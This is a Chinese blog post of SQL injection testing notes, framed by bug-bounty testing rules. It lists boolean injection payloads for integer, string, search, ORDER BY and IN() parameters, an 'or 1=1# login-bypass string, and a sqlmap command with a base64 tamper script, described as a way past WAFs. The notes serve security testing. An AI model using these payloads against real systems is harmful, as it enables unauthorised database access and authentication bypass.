• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

loay

  • 博客园
  • 联系
  • 订阅
  • 管理

View Post

sql注入

sql注入测试规范

注入漏洞,只要证明可以读取数据就行,严禁读取表内数据。对于UPDATE、DELETE、 INSERT 等注入类型,不允许使用自动化工具进行测试。

SRC行业安全测试规范 https://security.tencent.com/announcement/msg/180

sql注入原理

SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与 数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良 的程序当中 忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认 为是正常的SQL指令而执行,因此遭到破坏或是入侵。

普通测试: 整型:id=111-0与id=111-1

字符型: username=zhangsan' and 1=1# 与username=zhangsan' and 1=1#

搜索型:word=a%' and 1=1# 与 word=a%' and 1=2#

万能密码: 用户名填写 'or 1=1# 密码随意填

image-20230228122819418

非常见位置测试:
order by [注入点]: 常见参数(orderby) //预编译对该位置sql注入无效
原值,if((1=1),1,(select 1 union select 2))
原值,if((1=2),1,(select 1 union select 2))
order by 列名 [注入点]: 常见默认值(desc、asc) //预编译对该位置sql注入无效
,if((1=1),1,(select 1 union select 2))
,if((1=2),1,(select 1 union select 2))


非常见位置测试:
in (注入点): 常见参数(ids或值中包含,的其他参数)
原值) and 1=1# 字符型:原值') and 1=1#
原值) and 1=2# 字符型:原值') and 1=2


base64参数的测试:
优势:绝大部分扫描器不会识别
参数经过base64转换后可以绕过waf
示例: http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D
利用:python sqlmap.py -u
"http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D" -p test_param --tamper
base64encode.py

posted on 2023-02-28 12:30  loay  阅读(135)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3